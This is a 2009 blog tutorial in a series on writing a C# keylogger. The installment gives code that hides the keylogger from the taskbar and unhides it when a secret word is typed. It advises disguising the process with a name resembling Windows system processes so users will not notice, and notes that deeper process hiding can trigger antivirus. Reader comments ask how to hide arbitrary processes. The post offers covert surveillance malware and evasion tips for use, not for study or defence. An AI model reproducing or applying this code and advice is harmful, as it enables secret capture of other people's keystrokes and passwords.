Keylogger in C# :: Hiding && unhiding
by Arxleol on Thursday 29.10.2009, under C#, hack, tutorial, windows
Let’s discuss this time how to hide and unhide out keylogger. Now I have decided to go with secret keyword. When you enter this keyword keylogger will show up. Also in my case it will start hidden in case secret word is set up, if secret word is not chosen then keylogger will start visible.
public void unhide() { if (writeUp.Contains(secretWord)) { this.ShowInTaskbar = true; this.TransparencyKey = Color.Yellow; this.Refresh(); writeUp = ""; } }
Previous function checks whether user entered secret word, in case secret word is detected then keylogger will be shown. Check your task bar for new program.
Now actual hiding of keylogger I do in constructors and following code hides keylogger.
this.ShowInTaskbar = false; this.Refresh();
You must understand that this is not hiding actual process of keylogger but hides application so it is not obviously visible to final user.
You could in fact spend time to hide process but these actions sometimes fire events with anti-virus programs and therefore will make your keylogger usable. In this case I suggest that you just use some strange name or something similar to names of original windows processes and most users will not notice any difference.
Thursday 29.10.2009 on 23:08
[...] Hiding && unhiding Keylogger [...]
Sunday 13.06.2010 on 19:05
hi,
can you please help :
how can i hide&unhide a process that the program didn’t execute?
the only thing i’ve succeeded doing is hiding, but i didn’t find how to unhide a process. here’s a link to a solution of hiding that i’ve found:
http://www.daniweb.com/forums/thread105571.html
Sunday 13.06.2010 on 22:45
Well, this is only for hiding and showing keylogger. For process check post about extended keylogger. Also wouldn’t it suffice if you just scrambled name of keylogger.
Monday 14.06.2010 on 12:59
i’m not talking about a keylogger. i’m talking about any general process that runs before our program even started .
i wish to be able to hide&unhide a process.